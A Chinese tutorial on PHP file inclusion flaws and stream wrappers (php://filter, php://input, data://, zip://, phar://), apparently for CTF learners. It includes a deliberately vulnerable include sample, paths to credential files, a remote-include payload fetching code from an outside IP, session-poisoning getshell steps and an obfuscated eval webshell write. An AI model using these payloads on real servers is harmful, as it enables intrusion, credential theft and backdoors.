文件包含漏洞总结及PHP伪协议
文件包含漏洞总结
文件包含漏洞成因
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般成为包含
Include()等函数通过动态变量的方式引入需要包含的文件;用户能够控制该动态变量
引发文件包含的四个函数
include()
include_once()
require()
require_once()
include()和require()的区别:
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。(500错误)
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
文件包含利用
读敏感文件
/flag,Apache,nginx配置文件,/proc 等进行信息收集
获取网站源码,进行进一步利用
包含session
- session部分内容可控
- 利用
upload_progress
功能
https://www.anquanke.com/post/id/201177#h2-13
远程文件包含
需要php.ini开启远程文件包含
window下可以利用smb或webdav,绕过需要开启的限制
https://paper.seebug.org/1148/
包含php原生文件
pearcmd.php文件,需要可以出网register_argc_argv On
https://www.anquanke.com/post/id/218977#h2-3
本地文件包含
包含本地的文件并执行
<?php
$filename = $_GET['filename'];
include($filename);
?>
常见敏感信息路径
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
/flag
远程文件包含
是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在,危害性会很大。
但远程文件包含漏洞的利用条件较为苛刻,需要php.ini中配置
allow_url_fopen=On
allow_url_include=On
服务器上新建shell.txt(服务器要有公网IP)
#shell.txt
<?php phpinfo(); ?>
题目代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
payload:http://localhost/include/?filename=http://123.57.145.88:10001/shell.txt
文件包含可以包含任意文件,如图片,文本文件,压缩包等等,如果文件中有服务器能识别的脚本语言,就按照当前脚本语言执行,否则就直接显示出源代码。
session文件包含
首先我们先看以下seesion目录的位置为/var/lib/php5/session,一般的位置都是/var/lib/php/session,可能受版本、系统版本的影响吧,这个大家知道就可以了:
由于session中的内容可以被控制,我们可以用这一点将恶意代码存储到seeion目录下,这样我们就能getshell
#session.php
<?php
session_start();
$cmdback=$_GET['cmdback'];
$_SESSION["hack"]=$cmdback;
?>
访问
http://123.57.145.88:10001/session.php?cmdback=%3C?php%20phpinfo();?%3E
查看session文件
配合文件包含漏洞
其中sessionid可以直接获取
攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。
关于LFI 绕过 Session 包含限制 Getshell:https://www.anquanke.com/post/id/201177#h2-13
远程/本地文件包含限制绕过
测试代码
<?php
$filename = $_GET['filename'];
include($filename . ".html");
包含的文件会在结尾加上.html
提示找不到test.php.html
绕过方式参考文章: https://www.freebuf.com/articles/web/182280.html
文件包含之伪协议
php://filter
php://filter
是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
可以运用多种过滤器(字符串/转换/压缩/加密)
例如平时我们用来任意文件读取的payload
php://filter/read=convert.base64-encode/resource=upload.php
这里读的过滤器为convert.base64-encode,就和字面上的意思一样,把输入流base64-encode。
resource=upload.php,代表读取upload.php的内容
利用条件:
只是读取,所以只需要开启allow_url_fopen,对allow_url_include不做要求
利用姿势:
index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php
index.php?file=php://filter/convert.base64-encode/resource=index.php #两种不同姿势读文件,用来bypass某些waf
index.php?file=php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[Dsgz])?> #写shell
index.php?file=php://filter/read=string.rot13/resource=xxx.php #bypass某些waf
(1)
readfile("http://www.example.com");
等价于
readfile("php://filter/resource=http://www.example.com");
(2)
读取链
file_get_contents("php://filter/read=convert.base64-encode/resource=test.php");
写入链
file_put_contents("php://filter/write=convert.base64-decode/resource=[file]","base64");
这个点在ctf有时候会很有用,可以绕过一些waf
过滤器
过滤器有很多种,有字符串过滤器、转换过滤器、压缩过滤器、加密过滤器
<字符串过滤器>
string.rot13
进行rot13转换
string.toupper
将字符全部大写
string.tolower
将字符全部小写
string.strip_tags
去除空字符、HTML 和 PHP 标记后的结果。
功能类似于strip_tags()函数,若不想某些字符不被消除,后面跟上字符,可利用字符串或是数组两种方式。
关于php://filter的奇技淫巧以及绕过死亡exit:https://www.anquanke.com/post/id/202510#h3-7
php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
利用条件:
需要开启allow_url_include=on,对allow_url_fopen不做要求
注意:hackbar在格式不正确(xx=xx)时包发不出去,建议使用BP或者postman
用法:?file=php://input 数据利用POST传过去。
也可以写马
zip://,bzip2://,zlib://
PHP.ini:
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
zip://可以访问压缩文件中的文件
3个封装协议,都是直接打开压缩文件。(绝对路径和相对路径都可)
compress.zlib://file.gz - 处理的是 '.gz' 后缀的压缩包
compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包(必须在Linux下)
zip://archive.zip#dir/file.txt - 处理的是 '.zip' 后缀的压缩包里的文件
条件: 使用zip协议,需要将#编码为%23,所以需要PHP 的版本> =5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23。
用法:?file=zip://[压缩文件路径]#[压缩文件内的子文件名] (网上都说必须绝对路径但是我本地调试两种都行)
要是把压缩包的后缀改为其他任意格式的文件也可以正常使用。
甚至jpg的压缩包和txt的文件也可以,不一定需要zip和php
data://
data:资源类型;编码,内容
数据流封装器
当allow_url_include 打开的时候,任意文件包含就会成为任意命令执行
PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
php 版本大于等于 php5.2
http://127.0.0.1/xxx.php?a=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/xxx.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
或者
http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
phar://
条件:
必须要zip压缩包(后缀无所谓,文件格式是zip就行)。
allow_url_fopen=Off/On
allow_url_include=Off/On
php >=5.2
这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。
用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。
http://localhost/include/?a=phar://test.png/test.txt
在这里还有一个phar://反序列化漏洞http://www.lmxspace.com/2018/11/07/%E9%87%8D%E6%96%B0%E8%AE%A4%E8%AF%86%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-Phar/#0x04-%E6%80%BB%E7%BB%93
gopher协议
不属于php伪协议,仅作记录
在ssrf时常常会用到gopher协议构造post包来攻击内网应用。其实构造方法很简单,与http协议很类似。
file://伪协议
存在的意义不是很大
用法
file:// [文件的绝对路径和文件名]
http://localhost/include/?a=file://C:\Users\86175\Desktop\phpdebug\include\test.php